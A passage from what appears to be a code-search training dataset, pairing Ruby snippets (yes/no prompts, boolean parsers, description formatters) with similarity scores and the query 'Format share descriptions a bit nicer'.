"def yes_or_no?(question, action_if_yes, action_if_no, snd = false)\n clear_minibuffer(snd)\n prompt_in_minibuffer(question,\n lambda do |response|\n clear_minibuffer(snd)\n if response == \"yes\" or response == \"y\"\n action_if_yes.call(snd)\n else\n action_if_no.call(snd)\n end\n end,\n snd,\n true)\n end",
"def display_operational\n self.operational ? \"Yes\" : \"No\"\n end",
"def yes_or_no(question)\n loop do\n print \"#{question}\\nyes(y), no(n), quit(q): \"\n $stdout.flush # Clear buffer\n response = gets.chomp\n case response.downcase\n when 'y', 'yes' then return true\n when 'n', 'no' then return false\n when 'q', 'quit' then exit\n else $stderr.puts \"Please answer \\\"yes\\\", \\\"no\\\", or \\\"quit\\\".\"\n end\n end\nend",
"def string_to_bool(value)\n return false if value.nil? || value.casecmp('no').zero?\n return true if value.casecmp('yes').zero?\n value # if it doesn't match anything\n end",
"def ask_bool(question)\n puts(question)\n puts 'y/n'\n answer = gets.chomp!\n answer.downcase\nend",
"def to_boolean(string)\r\n if string.downcase == 'y'\r\n string = true\r\n elsif string.downcase == 'n'\r\n string = false\r\n end\r\nend",
"def change_happiness(ans)\n if ans == \"YES\"\n @happiness = true\n puts \"#{first_name} is happy!\"\n elsif ans == \"NO\"\n @happiness = false\n puts \"#{first_name} is sad.\"\n else\n puts \"Type yes or no.\"\n end\n end",
"def admin_yes_or_no(user)\n user.admin? ? \"Yes\" : \"No\"\n end",
"def y_or_n\r\n\t\tputs \"Please answer [y]es or [n]:\"\r\n\t\tanswer = gets.chomp.downcase\r\n\t\tif answer == 'y' || answer == 'yes' || answer == '[y]es'\r\n\t\t\ttrue\r\n\t\telse\r\n\t\t\tfalse\r\n\t\tend\r\n\tend",
"def yes_no(prompt)\n medium_rainbow_typer(prompt)\n br\n TTY::Prompt.new.yes?('?')\n end",
"def yes_entered?\n /y|Y/.match(connection.gets.chomp)\n end",
"def format_yn( expr )\n return (expr) ? 'Yes' : 'No'\n end",
"def makeBoolean (userInput)\n if userInput == \"y\"\n userInput = true\n else\n userInput = false\n end\nend",
"def speel_opnieuw?\nwhile true\nspeel_opnieuw = (get_response_for \"Play again (y/n)\").downcase\ncase speel_opnieuw\nwhen 'y', 'yes' then return true\nwhen 'n', 'no' then return false\nend\nend\nend",
"def to_boolean(value)\n [\"true\", \"1\", \"yes\"].include?(value.to_s) ? true : false\n end",
"def to_bool\n %w(true t yes y on 1).include?(self.downcase)\n end",
"def true \n \"true\" \n end",
"def prompt_b\n loop do\n print \"[(yes/no)]\"\n print \"> \"\n input_str = @input.gets\n if input_str.nil?\n raise \"No input left (must be automated input)\"\n end\n input_str = input_str.chomp\n input_bool = Input.str_to_bool input_str\n unless input_bool.nil?\n return input_bool\n else\n print \"[Please enter yes/no, y/n or true/false]\"\n end\n end\n end",
"def to_boolean(value)\n [\"true\", \"1\", \"yes\"].include?(value.to_s) ? true : false\n end",
"def no?(question)\n !yes?(question)\n end",
"def to_yes_string(value)\n DS::Number.is_i?(value) && value.to_i == 1 ? 'Yes' : nil\n end",
"def ask_yes_no(question, default = nil)\n ui.ask_yes_no question, default\n end",
"def response\n response = gets.chomp\n if (response.downcase == \"yes\" || response.downcase == \"y\")\n initialize\n welcome\n return true\n elsif (response.downcase == \"no\" || response.downcase == \"n\")\n return true\n end\n end",
"def api_boolean(value)\n {\n \"0\" => false,\n \"false\" => false,\n \"no\" => false,\n \"1\" => true,\n \"true\" => true,\n \"yes\" => true\n }[value.try(:downcase)]\n end",
"def parse_boolean(string)\n case string.strip\n when \"Yes\"\n true\n when \"No\"\n false\n end\nend",
"def yes_no?(prompt, default: true)\n return true if yes?\n\n default = case default\n when :y, :yes\n true\n when :n, :no\n false\n when true, false\n default\n else\n fail ArgumentError, \"invalid :default\"\n end\n\n loop do\n y = default ? Rainbow('Y').bright : Rainbow('y').darkgray\n n = !default ? Rainbow('N').bright : Rainbow('n').darkgray\n\n begin\n print \"#{prompt} #{y}/#{n}: \"\n case $stdin.gets.chomp\n when ''\n return default\n when /^[Yy]/\n return true\n when /^[Nn]/\n return false\n else\n warn \"Unrecognized response\"\n end\n rescue Interrupt\n puts\n raise\n end\n end\n end",
"def answer_humanized\n I18n.t(yes_no ? 'answer.yes' : 'answer.no')\n end",
"def true?(obj)\n [\"true\",\"1\"].include? obj.to_s.downcase\n end",
"def parse_to_true_false_string(only_yes = false)\n raise MissingValueError.new(var: var) if vals.empty?\n raise TooManyValuesError.new(var: var) if vals.length > 1\n val = vals.first\n return \"TRUE\" if /^(1|yes|true)$/i.match?(val)\n return \"FALSE\" if /^(0|no|false)$/i.match?(val) && !only_yes\n raise BadYesError.new(var: var, val: val) if only_yes\n raise BadBooleanError.new(var: var, val: val)\n end",
"def cdl_label(value)\n value ? \"Yes\" : \"No\"\n end",
"def parse_to_true_false_string(only_yes = false)\n raise MissingValueError.new(var: var) if vals.empty?\n raise TooManyValuesError.new(var: var) if vals.length > 1\n\n val = vals.first\n return \"TRUE\" if /^(1|yes|true)$/i.match?(val)\n return \"FALSE\" if /^(0|no|false)$/i.match?(val) && !only_yes\n raise BadYesError.new(var: var, val: val) if only_yes\n\n raise BadBooleanError.new(var: var, val: val)\n end",
"def another\r\n loop do\r\n case gets.downcase.chomp #loops until user input is either yes or no; returns true or false respectively\r\n when 'no'\r\n return false\r\n when 'n'\r\n return false \r\n when 'yes'\r\n return true\r\n when 'y'\r\n return true\r\n else\r\n next\r\n end\r\n end\r\nend",
"def b(item, options={})\n options = {\n :true => \"Yes\",\n :false => \"No\",\n :nil => \"No\"\n }.update options\n if item.nil?\n options[:nil]\n elsif item\n options[:true]\n else\n options[:false]\n end\n end",
"def confirmed?\n confirmation == 'yes'\n end",
"def said_yes?(text, *args)\n self.yes?(\"#{text}\", :cyan, *args)\n end"
] | [
"0.8360561",
"0.8320044",
"0.82375777",
"0.80010164",
"0.77325964",
"0.7700007",
"0.7644134",
"0.75712717",
"0.7500385",
"0.747691",
"0.74525595",
"0.7441747",
"0.74324995",
"0.74247384",
"0.7395808",
"0.73370415",
"0.7267556",
"0.726377",
"0.72150713",
"0.72150713",
"0.7203408",
"0.71640885",
"0.7155463",
"0.71278626",
"0.7127179",
"0.71199256",
"0.7094506",
"0.7093786",
"0.70834714",
"0.703295",
"0.7027795",
"0.6964202",
"0.69611967",
"0.6954171",
"0.69358385",
"0.6929781",
"0.6896701",
"0.68960214",
"0.6893153",
"0.6875217",
"0.6863916",
"0.68606114",
"0.6846697",
"0.68431836",
"0.6841347",
"0.6840619",
"0.682475",
"0.68126386",
"0.6806762",
"0.68064314",
"0.6792892",
"0.6790347",
"0.67787486",
"0.6756514",
"0.67445123",
"0.67063075",
"0.6702634",
"0.66976213",
"0.66884524",
"0.6681572",
"0.6681397",
"0.66788495",
"0.66731876",
"0.66212565",
"0.6609311",
"0.6608477",
"0.6585879",
"0.6575433",
"0.65685016",
"0.6560856",
"0.65607285",
"0.65254515",
"0.6518582",
"0.6515902",
"0.6514744",
"0.6509418",
"0.6501328",
"0.6499591",
"0.6486795",
"0.6484117",
"0.6480415",
"0.64653665",
"0.6463405",
"0.6455164",
"0.64540887",
"0.64513683",
"0.6450136",
"0.644569",
"0.64372706",
"0.6432282",
"0.6431018",
"0.64279354",
"0.6424896",
"0.64117134",
"0.6407408",
"0.63892096",
"0.63872653",
"0.63293636",
"0.63280934",
"0.6326051"
] | 0.79481506 | 4 |
Format share descriptions a bit nicer by converting and to spaces. | def share_description(value)
raw(value).gsub("<br>", " ").gsub("<br />", " ")
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def share_description(value) \n raw(value).gsub(\"<br>\", \" \").gsub(\"<br />\", \" \")\n end",
"def format_description description\n \"#{description}\".ljust(30)\n end",
"def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end",
"def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end",
"def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end",
"def format descriptions\n formatted = format_rows descriptions\n\n aligned = formatted.transpose.map do |column|\n width = column.map { |entry| entry.length }.max\n\n column.map { |entry| entry.rjust width }\n end\n\n aligned.transpose.map do |row|\n row.join ' '\n end\n end",
"def to_verbose_sharing\n \"#{friend.get_full_name} #{ I18n.t('social.shares') }: \" <<\n [\n ( shares_passages ? \"#{ I18n.t('social.passages') }\" : '' ),\n ( shares_trainings ? \"#{ I18n.t('social.trainings') }\" : '' ),\n ( shares_calendars ? \"#{ I18n.t('social.calendars') }\" : '' )\n ].join(', ')\n end",
"def format_description_title(obj)\n obj = obj.description if obj.respond_to?(:description)\n obj = obj.gsub(/\\s/i, ' ')\n obj.truncate(200, separator: ' ')\n end",
"def formatted_description\n CGI.escapeHTML(description).split(/\\n|\\r\\n?/).join(\"<br />\").html_safe\n end",
"def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end",
"def share_text_short\n \"I'm looking at #{self.latest_name.titleize} on Dinesafe.\"\n end",
"def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end",
"def humanize\n @fields.collect do |_, field|\n field.meaning\n end.join(\"; \").chomp(\"; \")\n end",
"def details\n format_description(@description) + \"site name: \" + format_name\n end",
"def format_description\r\n description.gsub(':)', '').gsub(':D', '').\r\n gsub(':(', '').gsub(':O', '').\r\n gsub(\":,(\", '').gsub(':/', '').\r\n gsub('8)', '').gsub(':crazy:', '').\r\n gsub(':yeah:', '')\r\n end",
"def share_text_long\n # For now, just make it the same as short version\n \"\" + self.share_text_short\n end",
"def kase_description_in_words(kase)\n result = []\n result << followers_count_in_words(kase).to_s.capitalize\n\t result << replies_count_in_words(kase)\n\t result << kase_type_and_time_in_words(kase)\n\t result.compact.map {|m| m.to_s.strip}.reject {|i| i.empty?}.join(', ')\n end",
"def social_description\n @social_description ||= social_description_card&.format(:text)&.text_description\n end",
"def indentify\n 'description'\n end",
"def indentify\n 'description'\n end",
"def format_description(text)\n # Look for signs of structure, otherwise just treat as unstructured.\n case text\n when /\"\";/ then double_quotes_to_sections(text)\n when /\\.--v\\. */ then double_dash_to_sections(text)\n when /; *PART */i then # Seen in some IA records.\n when /:;/ then # Observed in one unusual case.\n when /[[:punct:]] *--.* +-- +/ then # Blurbs/quotes with attribution.\n when / +-- +.* +-- +/ then # Table-of-contents title list.\n when /(;[^;]+){4,}/ then # Many sections indicated.\n else return format_multiline(text)\n end\n q_section = nil\n text.split(/ *; */).flat_map { |part|\n next if (part = part.strip).blank?\n case part\n when /^\"\"(.*)\"\"$/\n # === Rare type of table-of-contents listing entry\n line = $1.to_s\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless q_section)\n q_section = $1.to_s\n [gap, \"#{q_section} #{$2}\", \"\\n\"].compact\n else\n q_section = nil\n line.match?(/^\\d+ +/) ? line : \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n\n when / +-- +.* +-- +/\n # === Table-of-contents listing\n section = nil\n part.split(/ +-- +/).flat_map { |line|\n if line.match(SECTION_TITLE_RE)\n gap = (\"\\n\" unless section)\n section = $1.to_s.delete_suffix('.')\n [gap, \"#{section}. #{$2}\", \"\\n\"].compact\n else\n section = nil\n \"#{BLACK_CIRCLE}#{EN_SPACE}#{line}\"\n end\n }.tap { |toc| toc << \"\\n\" unless toc.last == \"\\n\" }\n\n when /[[:punct:]] *--/\n # === Blurbs/quotes with attribution\n part.scan(BLURB_RE).flat_map do |paragraph, attribution|\n attribution.remove!(/[.\\s]+$/)\n [\"#{paragraph} #{EM_DASH}#{attribution}.\", \"\\n\"]\n end\n\n when /^v[^.]*\\. *\\d/\n # === Apparent table-of-contents volume title\n [part]\n\n else\n # === Plain text section\n part = \"#{part}.\" unless part.match?(/[[:punct:]]$/)\n [part, \"\\n\"]\n end\n }.compact.map { |line|\n line.gsub(/---/, EM_DASH).gsub(/--/, EN_DASH)\n }\n end",
"def description\n text = ['A']\n text << [duration, 'minute'] if duration.present?\n text << [format, 'publication']\n text << [ 'from', pretty_date(published_on) ] if published_on.present?\n text << ['by', presentations.first.speaker_names] if presentations.present?\n text.join(' ')\n end",
"def share_text_long_html\n # For now, just make it the same as short version\n \"<b>#{self.share_text_long}</b>\"\n end",
"def add_desc(heading,list)\n description = \"\\n\\n#{heading}: #{list.length.to_s}\\n\\n\\t\"\n description << list.join(\"\\n\\t\") unless list.empty?\n description\n end",
"def help\n prettify(description)\n end",
"def description\n [@group.description,@description].join(' ')\n end",
"def fq_space_title(s)\n s.creator.nickname + '/' + '<strong>' + s.title + '</strong>'\n end",
"def descr_short\n descr = self[:descr].to_s.gsub(\"\\n\", \" \").gsub(/\\s{2,}/, \" \")\n descr = Knj::Strings.shorten(descr, 20)\n #descr = \"[#{_(\"no description\")}]\" if descr.to_s.strip.length <= 0\n return descr\n end",
"def title\n description.truncate(30, :separator =>' ')\n end",
"def two_lines_description charity, style_class = :charity_details\n charity.name.length < 24 ? desc_chars = 90 : desc_chars = 72\n short_description(charity, desc_chars, style_class)\n end",
"def reformat_twofaced_names(card)\n end",
"def summary\n description.lines.first.thru { |line|\n if line\n line.split( '. ', 2 ).first\n else\n ''\n end\n }\n end",
"def description\n [basic_description, extra_description].compact.join(\" \")\n end",
"def details\n format_description(@description, 25) + \"site name: \" + (@site_name || \"\")\n end",
"def show_embedded_description_title(desc)\n title = description_title(desc)\n links = description_mod_links(desc)\n tag.p(tag.span(title, class: \"text-lg\") + links.safe_join(\" | \"))\n end",
"def format_ouput(str1,str2)\n len = 50 - str1.length\n space = \"#{'-' * len}\".to_s\n str1.concat(space)\n str1.concat(str2.to_s)\n str1\nend",
"def html_description2\n ::Util.simple_format(self.description2)\n end",
"def formatted_client_display_info\n output_info = []\n output_info << \"Name: #{@name}\"\n output_info << \"Age: #{@age}\"\n output_info << \"Children: #{@number_of_children}\"\n output_info << \"Pets: #{self.number_of_pets}\"\n @pets.each { |k, pet| output_info << \" #{pet.name} is #{pet.age}, and likes to play with... #{pet.toys}\" }\n # add a blank line\n output_info << \" \"\n return output_info\n end",
"def caption\n if owner_title == owner\n \"Shared by #{owner}\"\n else\n \"Shared by #{owner_title} (#{owner})\"\n end\n end",
"def story(story_content)\n story_content = story_content.strip.split(/[ \\t]*\\n+[ \\t]*/).map {|line| \" #{line}\\n\" }.join \n #metadata[:example_group][:description] << \"\\n\"+story_content+\"\\n\"\n metadata[:example_group][:full_description] << \"\\n\"+story_content+\"\\n\"\n end",
"def formatted_info\n \"#{self.name} - #{self.description}\"\n end",
"def seo_desc(description)\n return \"\" if description.empty?\n\n truncate(strip_tags(description.gsub(\"\\n\", \" \").strip))\n end",
"def format_title_and_ref(doc_info)\n unless doc_info.title\n @nof_missing_titles += 1\n doc_info.title = \"NO TITLE FOUND (#{@nof_missing_titles}) !\"\n end\n\n # Manipulate the doc title if we have a doc id\n title = if !doc_info.doc_id.nil? && @manage_docid\n \"#{doc_info.doc_id} - #{doc_info.title}\"\n else\n doc_info.title\n end\n\n [title, \"<<#{doc_info.rel_path}#,#{title}>>\",\n \"<<#{Giblish.to_valid_id(doc_info.title)},details>>\\n\"]\n end",
"def displayDescription(step)\n description = step['Description'].strip\n description = description.gsub('Parameter1', step['Parameter1'].to_s)\n description = description.gsub('Parameter2', step['Parameter2'].to_s)\n puts description.colorize(:color => :white, :background => :blue)\n end",
"def format_text(title, url, url_title_time_ary)\n s = \"Title: #{title}¥nURL: #{url}¥n¥n\"\n url_title_time_ary.each do |aurl, atitle, atime|\n s << \"* (#{atime})#{atitle}¥n\"\n s << \" #{aurl}¥n\"\n end\n s\nend",
"def description\n desc = object.description.to_s\n desc = h.strip_tags(markdown.render(desc)).strip # Escape HTML and remove Markdown\n\n if desc.blank? or [\"[!\", \"[](\", \"===\", \"```\"].any? { |s| desc.include? s }\n \"<em>#{ DESCRIPTION_UNAVAILABLE }</em>\".html_safe\n else\n desc = \"#{ desc }.\" if /\\w/ =~ desc.last # Add trailing dot\n desc[0] = desc[0].upcase # Capitalize 1st letter\n desc.html_safe\n end\n end",
"def og_desc(desc)\n\t\tbase_desc = \"Informing and entertaining the global internet generation.\"\n\t\tif desc.empty?\n\t\t\tbase_desc\n\t\telse\n\t\t\tdesc.to_s\n\t\tend\n\tend",
"def bolded_description(name, description)\n return nil if description.nil? # handle resources missing descriptions\n\n description.gsub( \"#{name} \", \"**#{name}** \").split(\"Note: \").first.strip\n end",
"def extract_summary\n\t\treturn self.description.split( /(?<=\\.)\\s+/ ).first&.gsub( /\\n/, ' ' )\n\tend",
"def description\n [\n line_item_presenter.style_name,\n line_item_presenter.size,\n line_item_presenter.colour_name\n ].join(' - ')\n end",
"def flatiron_title_descend_01\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n end",
"def display\n to_s.split(\"\\n\")\n .map { |line| line.split('').join(' ') }\n .join(\"\\n\")\n end",
"def grouped_attributes_description(attributes)\n make_sentence(\n attributes.sort_by{ |key, value| key.to_s }.map do |key, value|\n attribute_description(key, value)\n end\n )\n end",
"def format_track_description(text)\n return \"\" unless text\n\n nofollowize(CommonMarker.render_doc(text, :SMART, [:autolink]).to_html(:HARDBREAKS)).html_safe\n end",
"def show_game_title(title)\n formatted_title = '| ' + title + ' |'\n dashes = '-' * formatted_title.length\n puts dashes\n puts formatted_title\n puts dashes\nend",
"def show_game_title(title)\n formatted_title = '| ' + title + ' |'\n dashes = '-' * formatted_title.length\n puts dashes\n puts formatted_title\n puts dashes\nend",
"def formatted_name(meta_hash = {}, fields = {})\n if hash.nil? || fields.nil?\n fail ArgumentError.new(\"Argument must not be nil\")\n end\n # Let's not continue if we have no title metadata\n fail \"No title found\" unless meta_hash.fetch(\"title\", nil)\n\n # The keys that we get from the 'mdls' or 'exiftool'\n args = {\n keys: [\n \"title\",\n \"author(s)\"\n ],\n sep_char: \" \"\n }.merge(fields)\n\n keys = args[:keys]\n sep_char = args[:sep_char]\n\n # Note: only show if we have the value for title\n result = []\n keys.each do |key|\n value = meta_hash.fetch(key, nil)\n # Note: don't add 'Author(s)' => 'Unknown' to keep the result clean\n if value && value.downcase != \"unknown\"\n result << meta_hash[key]\n end\n end\n result.join(sep_char)\n end",
"def show_embedded_description_title(desc, _parent)\n type = desc.type_tag\n title = description_title(desc)\n links = []\n if writer?(desc)\n links << link_with_query(:EDIT.t, action: \"edit_#{type}\", id: desc.id)\n end\n if is_admin?(desc)\n links << link_with_query(:DESTROY.t,\n { action: \"destroy_#{type}\", id: desc.id },\n data: { confirm: :are_you_sure.l })\n end\n content_tag(:p, content_tag(:big, title) + links.safe_join(\" | \"))\n end",
"def remove_whitespace\n self.description = self.description.strip\n end",
"def summarize(sdone = {}, ldone = {}, width = 1, max = width - 1, indent = \"\")\n sopts, lopts = [], [], nil\n @short.each {|s| sdone.fetch(s) {sopts << s}; sdone[s] = true} if @short\n @long.each {|s| ldone.fetch(s) {lopts << s}; ldone[s] = true} if @long\n return if sopts.empty? and lopts.empty? # completely hidden\n\n left = [sopts.join(', ')]\n right = desc.dup\n\n while s = lopts.shift\n l = left[-1].length + s.length\n l += arg.length if left.size == 1 && arg\n l < max or sopts.empty? or left << +''\n left[-1] << (left[-1].empty? ? ' ' * 4 : ', ') << s\n end\n\n if arg\n left[0] << (left[1] ? arg.sub(/\\A(\\[?)=/, '\\1') + ',' : arg)\n end\n mlen = left.collect {|ss| ss.length}.max.to_i\n while mlen > width and l = left.shift\n mlen = left.collect {|ss| ss.length}.max.to_i if l.length == mlen\n if l.length < width and (r = right[0]) and !r.empty?\n l = l.to_s.ljust(width) + ' ' + r\n right.shift\n end\n yield(indent + l)\n end\n\n while begin l = left.shift; r = right.shift; l or r end\n l = l.to_s.ljust(width) + ' ' + r if r and !r.empty?\n yield(indent + l)\n end\n\n self\n end",
"def display\n puts \"#{GtCommon.capitalize(@headline)} -- (Liked: #{@like_number}) \\n\\n\"\n puts @sentence \n end",
"def format_descriptions\n formats = MetricFu::Formatter::BUILTIN_FORMATS\n max = formats.keys.map(&:length).max\n formats.keys.sort.map do |key|\n \" #{key}#{' ' * (max - key.length)} : #{formats[key][1]}\"\n end\n end",
"def help; summarize(\"#{banner}\".sub(/\\n?\\z/, \"\\n\")) end",
"def get_full_name\n # [Steve, 20140725] Too long/repetitive: \"#{description} #{header_year} - #{get_federation_type}\"\n description\n end",
"def formated_description_for(game)\n return \"\" if game.nil?\n formated_body(description_for(game))\n end",
"def description_split\n\t\tdescription.split(\", \")\n\tend",
"def describe_paragraph(being)\n desc = ''\n continued = false\n describe(being) do |quality, key, amount|\n possessive = possessive_name_or_pronoun(being)\n possessive.capitalize! unless continued\n desc += [conjunction(continued),\n possessive,\n key,\n key.pluralize == key ? 'are' : 'is',\n strength(amount),\n quality].join(' ')\n continued = rand < 0.333 && !continued\n desc += \".\" unless continued\n end\n desc.strip\n end",
"def formatted_scenario_description(description)\n # First check if the description has a div matching the current locale,\n # indicating that a localized version is available.\n localized = Loofah.fragment(description).css(\".#{I18n.locale}\")\n\n rendered = RDiscount.new(\n localized.inner_html.presence || description,\n :no_image, :smart\n ).to_html\n\n Rails::Html::SafeListSanitizer.new.sanitize(\n strip_external_links(rendered)\n ).html_safe\n end",
"def format_entry_no_split(entry)\n output = format_entry_first_acct_amount(entry)\n\n if entry.description && entry.description.length > 0\n output << entry.description\n end\n output\n end",
"def format_entry_with_split(entry)\n output = format_entry_first_acct_amount(entry)\n indent = ' ' * 12\n\n entry.acct_amounts[1..-1].each do |acct_amount|\n output << indent << format_acct_amount(acct_amount) << \"\\n\"\n end\n\n if entry.description && entry.description.length > 0\n output << entry.description\n end\n end",
"def text\n #[@organism, @symbol, @description, @aka, @protnames, @summary,@comentaries.join(\". \")].join(\". \") \n [@symbol, @description, @aka, @protnames, @summary].flatten.join(\". \") \n end",
"def describe(conj = \"\\n\")\n parts = [ ]\n\n self.attrs.each do |attr|\n if (attr[:title].downcase == 'link')\n if (attr[:value][0] == '/')\n uri = URI.parse(self.source.attrs['url'])\n parts.push(\"#{attr[:title]}: #{uri.scheme}://#{uri.host}#{attr[:value]}\")\n else\n parts.push(\"#{attr[:title]}: #{attr[:value]}\")\n end\n else\n parts.push(\"#{attr[:title]}: #{attr[:value]}\")\n end\n end\n\n return parts.join(conj)\n end",
"def print\n blank = \"#{Tty.yellow}[no description]#{Tty.reset}\"\n @descriptions.keys.sort.each do |name|\n description = @descriptions[name] || blank\n puts \"#{Tty.white}#{name}:#{Tty.reset} #{description}\"\n end\n end",
"def short_description\n\t\tself.description[0..200] + '...'\n\tend",
"def display_chars\n\t\t@dashes_arr = [] \n\t\t@word_length.times { @dashes_arr << \"_\" }\n\t\t@display_chars = @dashes_arr.join(\" \")\n\tend",
"def description\n returning String.new do |d|\n d << backup_site.name.capitalize \n if title && !title.blank?\n d << \" - \" << title\n elsif respond_to?(:name) && !name.blank?\n d << \" - \" << name \n end\n end\n end",
"def formatted_description\n RuleDescription::Formatter.new(description).format\n end",
"def display_metadata_standard\n return [_('None specified')] unless @research_output.metadata_standards.any?\n\n @research_output.metadata_standards.map(&:title)\n end",
"def descriptions\n \n return @detail + \": \" + \"#{@extra_cost}\" + \". \" + @basic_transfer.descriptions\n end",
"def long_description\n text = @command.long_description\n return \"\" if text.nil? # empty description\n\n lines = text.split(\"\\n\")\n lines.map do |line|\n # In the CLI help, we use 2 spaces to designate commands\n # In Markdown we need 4 spaces.\n line.sub(/^ \\b/, ' ')\n end.join(\"\\n\")\n end",
"def descMetadata_display_fields\n [:identifier, :title, :alternative, :creator, :contributor, :description, :abstract,\n :toc, :publisher, :source, :date, :date_created, :date_copyrighted,\n :date_submitted, :date_accepted, :date_issued, :date_available,\n :date_modified, :language, :type, :format, :extent, :medium, :persname,\n :corpname, :geogname, :subject, :genre, :provenance, :rights,\n :access_rights, :rights_holder, :license, :replaces, :isReplacedBy,\n :hasFormat, :isFormatOf, :hasPart, :isPartOf, :accrualPolicy, :audience,\n :references, :spatial, :bibliographic_citation, :temporal, :funder,\n :resolution, :bitdepth, :colorspace, :filesize]\n end",
"def render_summary\n summary = nil\n max_chars = (self.display_configuration.try {|h| h[\"summary_max_chars\"]}) || 280\n\n\n\n if self.snippets.length > 0 && !(self.display_configuration.try {|h| h[\"prefer_abstract_as_summary\"]} && self.abstract)\n summary = self.snippets.first\n self.snippets.slice(1, self.snippets.length).each do |snippet|\n summary += ' '.html_safe + snippet if (summary.length + snippet.length) <= max_chars\n end\n else\n summary = _h.bento_truncate( self.abstract, :length => max_chars )\n end\n\n summary\n end",
"def summarise\n headerless = self.body.gsub(/\\<h\\d.*?\\>.*?\\<\\/h\\d\\>/m, '')\n summary = ActionView::Base.full_sanitizer.sanitize(headerless).strip.match(/^(.+?)[\\.\\r\\n]/m)&.captures&.first || self.title\n\n return \"#{ summary }.\"\n end",
"def format_resource(provider, _)\n str_h1 = '%-80s'\n id = provider['ID']\n body = provider.body\n\n CLIHelper.print_header(str_h1 % \"PROVIDER #{id} INFORMATION\")\n puts format('ID : %<s>s', :s => id)\n puts format('NAME : %<s>s', :s => provider['NAME'])\n\n return if body['provider'] == 'onprem'\n\n # Get max size to adjust all the values\n size = body['connection'].keys.map {|k| k.size }.max\n data = {}\n\n # Generate data value with the new key adjusted format\n body['connection'].map {|k, v| data[k.ljust(size)] = v }\n\n puts\n CLIHelper.print_header(str_h1 % 'CONNECTION INFORMATION')\n data.each do |key, value|\n CLIHelper.scr_bold\n print \"#{key} : \"\n CLIHelper.scr_restore\n puts value\n end\n end",
"def _prepare_format #:nodoc:\n fmstr = nil\n fmt = []\n each_column { |c, i|\n ## trying a zero for hidden columns\n ## worked but an extra space is added below and the sep\n w = c.width\n case c.align\n when :right\n #fmt << \"%.#{w}s \"\n fmt << \"%#{w}.#{w}s \"\n else\n fmt << \"%-#{w}.#{w}s \"\n end\n }\n ## the next line will put a separator after hidden columns also\n fmstr = fmt.join(@y)\n #puts \"format: #{fmstr} \" # 2011-12-09 23:09:57\n return fmstr\n end",
"def compute_description(scopes)\n scopes.reduce do |desc, element|\n desc = if element =~ /^(#|\\.|:)/ && desc.split(\" \").length == 1\n desc+element\n else\n \"#{desc} #{element}\"\n end\n end\n end",
"def reserve_format\n Pwfmt::Context.reserve_format('news_description', @news.description) if @news.respond_to?(:description)\n end",
"def to_s\n \"\\s\\s#{@title}\\n#{'#' * (@title.size + 4)}\\n\\n#{@exam}\"\n end",
"def clear_desc_helper(description)\n return \"N/A\" if description.nil? || description.empty?\n\n tmp = description.dup\n tmp = tmp.delete \"#{1.chr}-#{31.chr}\".split.join ' '\n\n return tmp\n end",
"def clean_up_description\n self.description = CoursemologyFormatter.clean_code_block(description)\n end",
"def clean_up_description\n self.description = CoursemologyFormatter.clean_code_block(description)\n end",
"def list_to_print(title,list)\n line = \"\" \n 1.upto(title.size){line << \"-\"}\n title = title + \"\\n\" + line + \"\\n\"\n return title + (list.collect {|x| \" => #{x}\" }).join(\"\\n\")\n end",
"def test_format_reason_code_description\n valid_rc_desc = \"The impact of prior payer(s) adjudication including payments and/or adjustments\"\n assert_equal(valid_rc_desc, @output_xml_obj.format_reason_code_description(@reason_code1))\n assert_equal(valid_rc_desc, @output_xml_obj.format_reason_code_description(@reason_code2))\n assert_equal(valid_rc_desc, @output_xml_obj.format_reason_code_description(@reason_code3))\n end",
"def show_description (description)\n unless description.nil?\n puts \"Your description is: #{description}\"\n else \"This url needs description\"\n #description.split(\"\\s\").each do |i|\n #puts \"description: #{i}\"\n end\nend",
"def titleize str\n if @format == :markdown\n str = str[2..-1]\n str = \"\\n\" + CGI.escapeHTML(str) + \"\\n\" + \"=\" * str.size\n else\n str[1..4] + \"<h2>\" + CGI.escapeHTML(str[5..-1]) + \"</h2>\"\n end\nend",
"def manual_description\n return _INTL('\\t{1}: {2}',@name, @description)\n end",
"def alter_description(description, additions, subtractions)\n new_description = description\n additions.each do |addition|\n stylized_weights = addition.weights&.join('->')\n if stylized_weights == '' || stylized_weights.nil?\n stylized_weights = 'body weight'\n end\n\n # This will look off for things I do 1 set or rep of,\n # but I'm ok with that - it makes eventually parsing\n # a dump of my data from Strava in the future easier.\n new_description << <<~EOF\n #{addition.exercise}: #{addition.num_sets} sets of #{addition.num_reps} reps at #{stylized_weights} lbs\n EOF\n end\n subtractions.each do |subtraction|\n new_description_array = new_description.split(\"\\n\").reject do |line|\n line.index(subtraction) == 0\n end\n new_description = new_description_array.join(\"\\n\")\n end\n\n new_description\nend",
"def fq_space_title(s)\n (s.user.nickname + '/' + '<strong>' + s.title + '</strong>').html_safe\n end",
